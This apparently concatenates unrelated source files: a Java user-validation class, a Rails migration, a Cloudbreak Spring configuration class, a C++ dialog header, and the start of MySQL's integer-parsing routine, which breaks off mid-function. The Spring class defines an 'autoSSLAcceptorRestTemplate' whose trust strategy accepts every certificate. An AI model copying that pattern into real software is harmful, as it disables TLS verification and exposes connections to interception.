duplicates. * * @throws ValidationException Thrown if the list is malformed or if any of * the items in the list is malformed. */ public static Set<String> validateUsernames( final String usernames) throws ValidationException { LOGGER.info("Validating that a list of usernames follows our conventions."); if(StringUtils.isEmptyOrWhitespaceOnly(usernames)) { return null; } Set<String> result = new HashSet<String>(); String[] usernameArray = usernames.split(InputKeys.LIST_ITEM_SEPARATOR); for(int i = 0; i < usernameArray.length; i++) { String username = validateUsername(usernameArray[i].trim()); if(username != null) { result.add(username); } } if(result.size() == 0) { return null; } return result; } /** * There is no real validation that takes place here because the user could * search for any piece of information. If a user is searching for an * illegal character for usernames, we simply remove that string from the * list. * * @param usernames The space-separated list of search terms. * * @return A sanitized version of the search terms, which may be empty. If * the given string is null or only whitespace, this will be null. */ public static Set<String> validateUsernameSearch( final String usernames) { if(StringUtils.isEmptyOrWhitespaceOnly(usernames)) { return null; } return StringUtils.decodeSearchString(usernames); } /** * Validates that a given plaintext password follows our conventions. If it * is null or whitespace only, null is returned. If it doesn't follow our * conventions, a ValidationException is thrown. Otherwise, the password is * passed back to the caller. * * @param password The plaintext password to validate. * * @return Returns null if the password is null or whitespace only. * Otherwise, it returns the password. * * @throws ValidationException Thrown if the password isn't null or * whitespace only and doesn't follow our * conventions. */ public static String validatePlaintextPassword(final String password) throws ValidationException { LOGGER.info("Validating that the plaintext password follows our conventions."); if(StringUtils.isEmptyOrWhitespaceOnly(password)) { return null; } // TODO: Maybe we should just hash it here? if(password.length() >= MIN_PASSWORD_LENGTH) { return password; } else { throw new ValidationException( ErrorCode.USER_INVALID_PASSWORD, "The password is invalid. " + PASSWORD_REQUIREMENTS); } } /** * Validates that a given hashed password follows our conventions. If it is * null or whitespace only, null is returned. If it doesn't follow our * conventions, a ValidationException is thrown. Otherwise, the password is * passed back to the caller. * * @param password The hashed password to validate. * * @return Returns null if the password is null or whitespace only. * Otherwise, it returns the password. * * @throws ValidationException Thrown if the password isn't null or * whitespace only and doesn't follow our * conventions. */ public static String validateHashedPassword(final String password) throws ValidationException { LOGGER.info("Validating that the hashed password follows our conventions."); if(StringUtils.isEmptyOrWhitespaceOnly(password)) { return null; } if(HASHED_PASSWORD_PATTERN.matcher(password).matches()) { return password; } else { throw new ValidationException( ErrorCode.USER_INVALID_PASSWORD, "The hashed password is invalid."); } } /** * Validates that the email address for a user is a valid email address. * * @param value The String value of the user's email address. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the email address. * * @throws ValidationException Thrown if the email address is not a valid * email address. */ public static String validateEmailAddress(final String value) throws ValidationException { LOGGER.info("Validating that an email address is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidEmailAddress(value.trim())) { return value.trim(); } else { throw new ValidationException( ErrorCode.USER_INVALID_EMAIL_ADDRESS, "The email address value for the user is invalid: " + value); } } /** * Validates that the captcha version to be used for captcha validation. * * @param value The String value of the captcha version. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns version number. * * @throws ValidationException Thrown if the captcha version is not 1.0 or 2.0 * */ public static String validateCaptchaVersion(final String value) throws ValidationException { LOGGER.info("Validating that the captcha version number is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } String version = value.trim(); if (version.equals("1.0") || version.equals("2.0")){ return version; } else { throw new ValidationException( ErrorCode.SERVER_INVALID_CAPTCHA, "Invalid Captcha version (Expect 1.0 or 2.0): " + value); } } /** * If the value is null or only whitespace, null is returned. Otherwise, it * tokenizes the search string by whitespace with the exception of quoted * characters. * * @param value The String value of the user's email address. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the set of search tokens. */ public static Set<String> validateEmailAddressSearch( final String value) { if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } return StringUtils.decodeSearchString(value); } /** * Validates that a value is a valid admin value. If the value is null or * whitespace only, null is returned. If the value is a valid admin value, * it is returned. If the value is not null, not whitespace only, and not a * valid admin value, a ValidationException is thrown. * * @param value The String representation of the admin value to be * validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException Thrown if the value is not null, not * whitespace only, and not a valid admin * value. */ public static Boolean validateAdminValue(final String value) throws ValidationException { LOGGER.info("Validating an admin value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_ADMIN_VALUE, "The admin value is invalid: " + value); } } /** * Validates that a value is a valid enabled value. If the value is null or * whitespace only, null is returned. If the value is a valid enabled * value, it is returned. If the value is not null, not whitespace only, * and not a valid enabled value, a ValidationException is thrown. * * @param value The String representation of the enabled value to be * validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException Thrown if the value is not null, not * whitespace only, and not a valid enabled * value. */ public static Boolean validateEnabledValue(final String value) throws ValidationException { LOGGER.info("Validating that a value is a valid enabled value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_ENABLED_VALUE, "The enabled value is invalid: " + value); } } /** * Validates that a value is a valid new account value. If the value is * null or whitespace only, null is returned. If the value is a valid new * account value, it is returned. If the value is not null, not whitespace * only, and not a valid new account value, a ValidationException is * thrown. * * @param value The String representation of the new account value to be * validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException Thrown if the value is not null, not * whitespace only, and not a valid new account * value. */ public static Boolean validateNewAccountValue(final String value) throws ValidationException { LOGGER.info("Validating that the value is a valid new account value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_NEW_ACCOUNT_VALUE, "The new account value is invalid: " + value); } } /** * Validates that a value is a valid campaign creation privilege value. If * the value is null or whitespace only, null is returned. If the value is * a valid campaign creation privilege value, it is returned. If the value * is not null, not whitespace only, and not a valid campaign creation * privilege value, a ValidationException is thrown. * * @param value The String representation of the campaign creation * privilege value to be validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException Thrown if the value is not null, not * whitespace only, and not a valid campaign * creation privilege value. */ public static Boolean validateCampaignCreationPrivilegeValue( final String value) throws ValidationException { LOGGER.info("Validating that the value is a valid campaign creation privilege value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_CAMPAIGN_CREATION_PRIVILEGE, "The campaign creation privilege value is invalid: " + value); } } /** * Validates that a value is a valid class class privilege value. If the * value is null or whitespace only, null is returned. If the value is a * valid class creation privilege value, it is returned. If the value is * not null, not whitespace only, and not a valid class creation privilege * value, a ValidationException is thrown. * * @param value * The String representation of the class creation privilege value * to be validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException * Thrown if the value is not null, not whitespace only, and not a * valid class creation privilege value. */ public static Boolean validateClassCreationPrivilegeValue( final String value) throws ValidationException { LOGGER .info( "Validating that the value is a valid class creation " + "privilege value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_CLASS_CREATION_PRIVILEGE, "The class creation privilege value is invalid: " + value); } } /** * Validates that a value is a valid user setup privilege value. If the * value is null or whitespace only, null is returned. If the value is a * valid user setup privilege value, it is returned. If the value is not * null, not whitespace only, and not a valid user setup privilege value, * a ValidationException is thrown. * * @param value * The String representation of the user setup privilege value to be * validated. * * @return Returns null if the value is null or whitespace only; otherwise, * the value is returned. * * @throws ValidationException * Thrown if the value is not null, not whitespace only, and not a * valid user setup privilege value. */ public static Boolean validateUserSetupPrivilegeValue( final String value) throws ValidationException { LOGGER .info( "Validating that the value is a valid user setup " + "privilege value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isValidBoolean(value.trim())) { return StringUtils.decodeBoolean(value.trim()); } else { throw new ValidationException( ErrorCode.USER_INVALID_USER_SETUP_PRIVILEGE, "The user setup privilege value is invalid: " + value); } } /** * Validates that the first name value for a user is a valid first name * value. * * @param value The String value of the user's first name. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the first name value. * * @throws ValidationException Thrown if the name contains profanity or if * its length is greater than * {@value #MAX_FIRST_NAME_LENGTH}. */ public static String validateFirstName(final String value) throws ValidationException { LOGGER.info("Validating that a first name value is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isProfane(value.trim())) { throw new ValidationException( ErrorCode.USER_INVALID_FIRST_NAME_VALUE, "The first name value for the user contains profanity: " + value); } else if(! StringUtils.lengthWithinLimits(value.trim(), 0, MAX_FIRST_NAME_LENGTH)) { throw new ValidationException( ErrorCode.USER_INVALID_FIRST_NAME_VALUE, "The first name value for the user is too long. The limit is " + MAX_FIRST_NAME_LENGTH + " characters."); } else { return value.trim(); } } /** * If the value is null or only whitespace, null is returned. Otherwise, it * tokenizes the search string by whitespace with the exception of quoted * characters whose entire quoted value is returned. * * @param value The search string to be tokenized. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the set of search tokens. */ public static Set<String> validateFirstNameSearch( final String value) throws ValidationException { if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } return StringUtils.decodeSearchString(value); } /** * Validates that the last name value for a user is a valid last name * value. * * @param value The String value of the user's last name. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the last name value. * * @throws ValidationException Thrown if the name contains profanity or if * its length is greater than * {@value #MAX_LAST_NAME_LENGTH}. */ public static String validateLastName(final String value) throws ValidationException { LOGGER.info("Validating that a last name value is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isProfane(value.trim())) { throw new ValidationException( ErrorCode.USER_INVALID_LAST_NAME_VALUE, "The last name value for the user contains profanity: " + value); } else if(! StringUtils.lengthWithinLimits(value.trim(), 0, MAX_LAST_NAME_LENGTH)) { throw new ValidationException( ErrorCode.USER_INVALID_LAST_NAME_VALUE, "The last name value for the user is too long. The limit is " + MAX_LAST_NAME_LENGTH + " characters."); } else { return value.trim(); } } /** * If the value is null or only whitespace, null is returned. Otherwise, it * tokenizes the search string by whitespace with the exception of quoted * characters whose entire quoted value is returned. * * @param value The search string to be tokenized. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the set of search tokens. */ public static Set<String> validateLastNameSearch( final String value) throws ValidationException { if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } return StringUtils.decodeSearchString(value); } /** * Validates that the organization value for a user is a valid organization * value. * * @param value The String value of the user's organization. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the organization value. * * @throws ValidationException Thrown if the name contains profanity or if * its length is greater than * {@value #MAX_ORGANIZATION_LENGTH}. */ public static String validateOrganization(final String value) throws ValidationException { LOGGER.info("Validating that an organization name value is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isProfane(value.trim())) { throw new ValidationException( ErrorCode.USER_INVALID_ORGANIZATION_VALUE, "The organization value for the user contains profanity: " + value); } else if(! StringUtils.lengthWithinLimits(value.trim(), 0, MAX_ORGANIZATION_LENGTH)) { throw new ValidationException( ErrorCode.USER_INVALID_ORGANIZATION_VALUE, "The organization value for the user is too long. The limit is " + MAX_ORGANIZATION_LENGTH + " characters."); } else { return value.trim(); } } /** * If the value is null or only whitespace, null is returned. Otherwise, it * tokenizes the search string by whitespace with the exception of quoted * characters whose entire quoted value is returned. * * @param value The search string to be tokenized. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the set of search tokens. */ public static Set<String> validateOrganizationSearch( final String value) throws ValidationException { if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } return StringUtils.decodeSearchString(value); } /** * Validates that the personal ID value for a user is a valid personal ID * value. * * @param value The String value of the user's personal ID. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the personal ID value. * * @throws ValidationException Thrown if the name contains profanity or if * its length is greater than * {@value #MAX_PERSONAL_ID_LENGTH}. */ public static String validatePersonalId(final String value) throws ValidationException { LOGGER.info("Validating that a personal ID value is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } if(StringUtils.isProfane(value.trim())) { throw new ValidationException( ErrorCode.USER_INVALID_PERSONAL_ID_VALUE, "The personal ID value for the user contains profanity: " + value); } else if(! StringUtils.lengthWithinLimits(value.trim(), 0, MAX_PERSONAL_ID_LENGTH)) { throw new ValidationException( ErrorCode.USER_INVALID_PERSONAL_ID_VALUE, "The personal ID value for the user is too long. The limit is " + MAX_PERSONAL_ID_LENGTH + " characters."); } else { return value.trim(); } } /** * If the value is null or only whitespace, null is returned. Otherwise, it * tokenizes the search string by whitespace with the exception of quoted * characters whose entire quoted value is returned. * * @param value The search string to be tokenized. * * @return Returns null if the value is null or whitespace only; otherwise, * it returns the set of search tokens. */ public static Set<String> validatePersonalIdSearch( final String value) throws ValidationException { if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return null; } return StringUtils.decodeSearchString(value); } /** * Validates that a number of users to skip is a non-negative number. * * @param value The value to validate. * * @return The validated number of users to skip. * * @throws ValidationException There was a problem decoding the number. */ public static int validateNumToSkip(final String value) throws ValidationException { LOGGER.info("Validating that a number of users to skip is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return 0; } try { int numToSkip = Integer.decode(value); if(numToSkip < 0) { throw new ValidationException( ErrorCode.SERVER_INVALID_NUM_TO_SKIP, "The number of users to skip is negative."); } return numToSkip; } catch(NumberFormatException e) { throw new ValidationException( ErrorCode.SERVER_INVALID_NUM_TO_SKIP, "The number of users to skip is not a number: " + value); } } /** * Validates that a number of users to return is a non-negative number * less than or equal to the maximum allowed number of users to return. * * @param value The value to be validated. * * @return A number between 0 and {@link User#MAX_NUM_TO_RETURN}. * * @throws ValidationException The number was not valid. */ public static int validateNumToReturn(final String value) throws ValidationException { LOGGER.info("Validating that a number of users to return is valid."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return User.MAX_NUM_TO_RETURN; } try { int numToSkip = Integer.decode(value); if(numToSkip < 0) { throw new ValidationException( ErrorCode.SERVER_INVALID_NUM_TO_RETURN, "The number of users to return cannot be negative: " + value); } else if(numToSkip > User.MAX_NUM_TO_RETURN) { throw new ValidationException( ErrorCode.SERVER_INVALID_NUM_TO_RETURN, "The number of users to return is greater than the max allowed: " + User.MAX_NUM_TO_RETURN); } return numToSkip; } catch(NumberFormatException e) { throw new ValidationException( ErrorCode.SERVER_INVALID_NUM_TO_RETURN, "The number of users to return is not a number: " + value); } } /** * Validates that a delete personal info flag is a valid boolean. * * @param value The value to validate. * * @return A valid boolean describing whether or not to delete the user's * personal personal information. The default is false. * * @throws ValidationException The value was not null nor whitespace only, * and it could not be decoded as a boolean. */ public static boolean validateDeletePersonalInfo( final String value) throws ValidationException { LOGGER.info("Validating a delete personal info value."); if(StringUtils.isEmptyOrWhitespaceOnly(value)) { return false; } Boolean result = StringUtils.decodeBoolean(value); if(result == null) { throw new ValidationException( ErrorCode.USER_INVALID_DELETE_PERSONAL_INFO, "The 'delete personal info' flag was not a valid boolean: " + value); } return result; } /** * Validates that a given username prefix follows our conventions. If it is null * or whitespace only, null is returned. If it doesn't follow our * conventions, a ValidationException is thrown. Otherwise, the username prefix is * passed back to the caller. * * @param username The username prefix to validate. * * @return Returns null if the username is null or whitespace only. * Otherwise, it returns the username. * * @throws ValidationException Thrown if the username isn't null or * whitespace only and doesn't follow our * conventions. */ public static String validateUsernamePrefix(final String usernamePrefix) throws ValidationException { // change minimum length to 2 instead of 4 in username String usernamePrefixString = USERNAME_PATTERN_STRING.replace("4", String.valueOf(UserSetupRequest.MIN_USERNAME_PREFIX_LENGTH)); Pattern usernamePrefixPattern = Pattern.compile(usernamePrefixString); if(StringUtils.isEmptyOrWhitespaceOnly(usernamePrefix)) { return null; } if(usernamePrefixPattern.matcher(usernamePrefix).matches()) { return usernamePrefix; } else { throw new ValidationException( ErrorCode.USER_INVALID_USERNAME, "The username prefix is invalid."); } } }
project-kotinos/TGDF___official-site
db/migrate/20190205113434_add_single_to_agenda_times.rb
# frozen_string_literal: true class AddSingleToAgendaTimes < ActiveRecord::Migration[5.1] def change add_column :agenda_times, :single, :bool end end
doktoric/test123
core/src/main/java/com/sequenceiq/cloudbreak/conf/AppConfig.java
<reponame>doktoric/test123 package com.sequenceiq.cloudbreak.conf; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_CONTAINER_THREADPOOL_CAPACITY_SIZE; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_CONTAINER_THREADPOOL_CORE_SIZE; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_INTERMEDIATE_THREADPOOL_CAPACITY_SIZE; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_INTERMEDIATE_THREADPOOL_CORE_SIZE; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_SUPPORTED_CONTAINER_ORCHESTRATORS; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_THREADPOOL_CAPACITY_SIZE; import static com.sequenceiq.cloudbreak.EnvironmentVariableConfig.CB_THREADPOOL_CORE_SIZE; import java.io.IOException; import java.security.Security; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.PostConstruct; import javax.inject.Inject; import org.apache.http.conn.ssl.SSLConnectionSocketFactory; import org.apache.http.conn.ssl.SSLContextBuilder; import org.apache.http.conn.ssl.TrustStrategy; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.task.AsyncTaskExecutor; import org.springframework.http.client.HttpComponentsClientHttpRequestFactory; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.web.client.RestOperations; import org.springframework.web.client.RestTemplate; import com.google.common.collect.Maps; import com.sequenceiq.cloudbreak.common.type.CloudPlatform; import com.sequenceiq.cloudbreak.controller.validation.blueprint.StackServiceComponentDescriptorMapFactory; import com.sequenceiq.cloudbreak.core.CloudbreakException; import com.sequenceiq.cloudbreak.core.bootstrap.service.ExecutorBasedParallelContainerRunner; import com.sequenceiq.cloudbreak.core.bootstrap.service.StackDeletionBasedExitCriteria; import com.sequenceiq.cloudbreak.domain.Credential; import com.sequenceiq.cloudbreak.orchestrator.ContainerOrchestrator; import com.sequenceiq.cloudbreak.orchestrator.executor.ParallelContainerRunner; import com.sequenceiq.cloudbreak.orchestrator.state.ExitCriteria; import com.sequenceiq.cloudbreak.service.cluster.flow.filesystem.FileSystemConfigurator; import com.sequenceiq.cloudbreak.service.cluster.flow.filesystem.FileSystemType; import com.sequenceiq.cloudbreak.service.credential.CredentialHandler; import com.sequenceiq.cloudbreak.service.stack.connector.CloudPlatformConnector; import com.sequenceiq.cloudbreak.service.stack.connector.MetadataSetup; import com.sequenceiq.cloudbreak.service.stack.connector.ProvisionSetup; import com.sequenceiq.cloudbreak.util.FileReaderUtils; @Configuration public class AppConfig { private static final Logger LOGGER = LoggerFactory.getLogger(AppConfig.class); private static final int TIMEOUT = 5_000; @Value("#{'${cb.supported.container.orchestrators:" + CB_SUPPORTED_CONTAINER_ORCHESTRATORS + "}'.split(',')}") private List<String> orchestrators; @Value("${cb.threadpool.core.size:" + CB_THREADPOOL_CORE_SIZE + "}") private int corePoolSize; @Value("${cb.threadpool.capacity.size:" + CB_THREADPOOL_CAPACITY_SIZE + "}") private int queueCapacity; @Value("${cb.intermediate.threadpool.core.size:" + CB_INTERMEDIATE_THREADPOOL_CORE_SIZE + "}") private int intermediateCorePoolSize; @Value("${cb.intermediate.threadpool.capacity.size:" + CB_INTERMEDIATE_THREADPOOL_CAPACITY_SIZE + "}") private int intermediateQueueCapacity; @Value("${cb.container.threadpool.core.size:" + CB_CONTAINER_THREADPOOL_CORE_SIZE + "}") private int containerCorePoolSize; @Value("${cb.container.threadpool.capacity.size:" + CB_CONTAINER_THREADPOOL_CAPACITY_SIZE + "}") private int containerteQueueCapacity; @Inject private List<CloudPlatformConnector> cloudPlatformConnectorList; @Inject private List<ProvisionSetup> provisionSetups; @Inject private List<MetadataSetup> metadataSetups; @Inject private List<CredentialHandler<? extends Credential>> credentialHandlers; @Inject private List<FileSystemConfigurator> fileSystemConfigurators; @PostConstruct public void init() { Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); } @Bean public ExitCriteria stackDeletionBasedExitCriteria() { return new StackDeletionBasedExitCriteria(); } @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } @Bean public Map<String, ContainerOrchestrator> containerOrchestrators() throws CloudbreakException { Map<String, ContainerOrchestrator> map = new HashMap<>(); for (String className : orchestrators) { try { Class<?> coClass = AppConfig.class.getClassLoader().loadClass(className); if (ContainerOrchestrator.class.isAssignableFrom(coClass)) { ContainerOrchestrator co = (ContainerOrchestrator) coClass.newInstance(); co.init(simpleParalellContainerRunnerExecutor(), stackDeletionBasedExitCriteria()); map.put(co.name(), co); } } catch (ClassNotFoundException | InstantiationException | IllegalAccessException e) { throw new CloudbreakException("Invalid ContainerOrchestrator definition: " + className, e); } } if (map.isEmpty()) { LOGGER.error("No any ContainerOrchestrator has been loaded. Following ContainerOrchestrators were tried {}", orchestrators); throw new CloudbreakException("No any ContainerOrchestrator has been loaded"); } return map; } @Bean public ParallelContainerRunner simpleParalellContainerRunnerExecutor() { return new ExecutorBasedParallelContainerRunner(containerBootstrapBuilderExecutor()); } @Bean public Map<CloudPlatform, CloudPlatformConnector> platformConnectors() { Map<CloudPlatform, CloudPlatformConnector> map = new HashMap<>(); for (CloudPlatformConnector provisionService : cloudPlatformConnectorList) { map.put(provisionService.getCloudPlatform(), provisionService); } return map; } @Bean public Map<CloudPlatform, ProvisionSetup> provisionSetups() { Map<CloudPlatform, ProvisionSetup> map = new HashMap<>(); for (ProvisionSetup provisionSetup : provisionSetups) { map.put(provisionSetup.getCloudPlatform(), provisionSetup); } return map; } @Bean public Map<CloudPlatform, MetadataSetup> metadataSetups() { Map<CloudPlatform, MetadataSetup> map = new HashMap<>(); for (MetadataSetup metadataSetup : metadataSetups) { map.put(metadataSetup.getCloudPlatform(), metadataSetup); } return map; } @Bean public Map<CloudPlatform, CredentialHandler> credentialHandlers() { Map<CloudPlatform, CredentialHandler> map = new HashMap<>(); for (CredentialHandler credentialHandler : credentialHandlers) { map.put(credentialHandler.getCloudPlatform(), credentialHandler); } return map; } @Bean public Map<FileSystemType, FileSystemConfigurator> fileSystemConfigurators() { Map<FileSystemType, FileSystemConfigurator> map = new HashMap<>(); for (FileSystemConfigurator fileSystemConfigurator : fileSystemConfigurators) { map.put(fileSystemConfigurator.getFileSystemType(), fileSystemConfigurator); } return map; } @Bean public AsyncTaskExecutor intermediateBuilderExecutor() { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setCorePoolSize(intermediateCorePoolSize); executor.setQueueCapacity(intermediateQueueCapacity); executor.setThreadNamePrefix("intermediateBuilderExecutor-"); executor.initialize(); return executor; } @Bean public AsyncTaskExecutor resourceBuilderExecutor() { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setCorePoolSize(corePoolSize); executor.setQueueCapacity(queueCapacity); executor.setThreadNamePrefix("resourceBuilderExecutor-"); executor.initialize(); return executor; } @Bean public AsyncTaskExecutor containerBootstrapBuilderExecutor() { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setCorePoolSize(containerCorePoolSize); executor.setQueueCapacity(containerteQueueCapacity); executor.setThreadNamePrefix("containerBootstrapBuilderExecutor-"); executor.initialize(); return executor; } @Bean public RestOperations restTemplate() { HttpComponentsClientHttpRequestFactory factory = new HttpComponentsClientHttpRequestFactory(); factory.setConnectTimeout(TIMEOUT); RestTemplate restTemplate = new RestTemplate(); restTemplate.setRequestFactory(factory); return restTemplate; } @Bean(name = "autoSSLAcceptorRestTemplate") public RestOperations autoSSLAcceptorRestTemplate() throws Exception { HttpComponentsClientHttpRequestFactory requestFactory = new HttpComponentsClientHttpRequestFactory(); SSLContextBuilder sslContextBuilder = new SSLContextBuilder(); sslContextBuilder.loadTrustMaterial(null, new TrustStrategy() { @Override public boolean isTrusted(X509Certificate[] chain, String authType) throws CertificateException { return true; } }); SSLConnectionSocketFactory sslConnectionSocketFactory = new SSLConnectionSocketFactory(sslContextBuilder.build()); CloseableHttpClient httpClient = HttpClients.custom().setSSLSocketFactory(sslConnectionSocketFactory).build(); requestFactory.setHttpClient(httpClient); return new RestTemplate(requestFactory); } @Bean public StackServiceComponentDescriptorMapFactory stackServiceComponentDescriptorMapFactory() throws IOException { Map<String, Integer> maxCardinalityReps = Maps.newHashMap(); maxCardinalityReps.put("1", 1); maxCardinalityReps.put("0-1", 1); maxCardinalityReps.put("1-2", 1); maxCardinalityReps.put("0+", Integer.MAX_VALUE); maxCardinalityReps.put("1+", Integer.MAX_VALUE); maxCardinalityReps.put("ALL", Integer.MAX_VALUE); String stackServiceComponentsJson = FileReaderUtils.readFileFromClasspath("hdp/hdp-services.json"); return new StackServiceComponentDescriptorMapFactory(stackServiceComponentsJson, maxCardinalityReps); } }
dconnet/AgilityBook
src/Win/DlgRegNum.h
<reponame>dconnet/AgilityBook #pragma once /* * Copyright (c) <NAME>. All Rights Reserved. * * License: See License.txt */ /** * @file * @brief interface of the CDlgRegNum class * @author <NAME> * * Revision History * 2009-02-11 Ported to wxWidgets. * 2006-02-16 Cleaned up memory usage with smart pointers. * 2004-06-29 Added Note to regnum. */ #include "ARB/ARBTypes2.h" class CVenueComboBox; class CDlgRegNum : public wxDialog { public: CDlgRegNum( ARBConfig const& config, ARBDogRegNumList& regnums, ARBDogRegNumPtr const& inRegNum, wxWindow* pParent = nullptr); private: ARBDogRegNumList& m_RegNums; ARBDogRegNumPtr m_pRegNum; CVenueComboBox* m_ctrlVenues; wxString m_Venue; wxString m_RegNum; wxString m_Height; bool m_bReceived; wxString m_Note; DECLARE_ON_INIT() DECLARE_EVENT_TABLE() void OnOk(wxCommandEvent& evt); };
wangsun1983/Obotcha
external/mysql_connector/strings/my_strtoll10.c
<gh_stars>10-100 /* Copyright (C) 2003 MySQL AB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <my_global.h> #include <my_sys.h> /* Needed for MY_ERRNO_ERANGE */ #include <m_string.h> #undef ULONGLONG_MAX /* Needed under MetroWerks Compiler, since MetroWerks compiler does not properly handle a constant expression containing a mod operator */ #if defined(__NETWARE__) && defined(__MWERKS__) static ulonglong ulonglong_max= ~(ulonglong) 0; #define ULONGLONG_MAX ulonglong_max #else #define ULONGLONG_MAX (~(ulonglong) 0) #endif /* __NETWARE__ && __MWERKS__ */ #define MAX_NEGATIVE_NUMBER ((ulonglong) 0x8000000000000000LL) #define INIT_CNT 9 #define LFACTOR 1000000000ULL #define LFACTOR1 10000000000ULL #define LFACTOR2 100000000000ULL static unsigned long lfactor[9]= { 1L, 10L, 100L, 1000L, 10000L, 100000L, 1000000L, 10000000L, 100000000L }; /* Convert a string to an to unsigned long long integer value SYNOPSYS my_strtoll10() nptr in pointer to the string to be converted endptr in/out pointer to the end of the string/ pointer to the stop character error out returned error code DESCRIPTION This function takes the decimal representation of integer number from string nptr and converts it to an signed or unsigned long long integer value. Space characters and tab are ignored. A sign character might precede the digit characters. The number may have any number of pre-zero digits. The function stops reading the string nptr at the first character that is not a decimal digit. If endptr is not NULL then the function will not read characters after *endptr. RETURN VALUES Value of string as a signed/unsigned longlong integer if no error and endptr != NULL, it will be set to point at the character after the number The error parameter contains information how things went: -1 Number was an ok negative number 0 ok ERANGE If the the value of the converted number exceeded the maximum negative/unsigned long long integer. In this case the return value is ~0 if value was positive and LONGLONG_MIN if value was negative. EDOM If the string didn't contain any digits. In this case the return value is 0. If endptr is not NULL the function will store the end pointer to the stop character here. */ longlong my_strtoll10(const char *nptr, char **endptr, int *error) { const char *s, *end, *start, *n_end, *true_end; char *dummy; uchar c; unsigned long i, j, k; ulonglong li; int negative; ulong cutoff, cutoff2, cutoff3; s= nptr; /* If fixed length string */ if (endptr) { end= *endptr; while (s != end && (*s == ' ' || *s == '\t')) s++; if (s == end) goto no_conv; } else { endptr= &dummy; /* Easier end test */ while (*s == ' ' || *s == '\t') s++; if (!*s) goto no_conv; /* This number must be big to guard against a lot of pre-zeros */ end= s+65535; /* Can't be longer than this */ } /* Check for a sign. */ negative= 0; if (*s == '-') { *error= -1; /* Mark as negative number */ negative= 1; if (++s == end) goto no_conv; cutoff= MAX_NEGATIVE_NUMBER / LFACTOR2; cutoff2= (MAX_NEGATIVE_NUMBER % LFACTOR2) / 100; cutoff3= MAX_NEGATIVE_NUMBER % 100; } else { 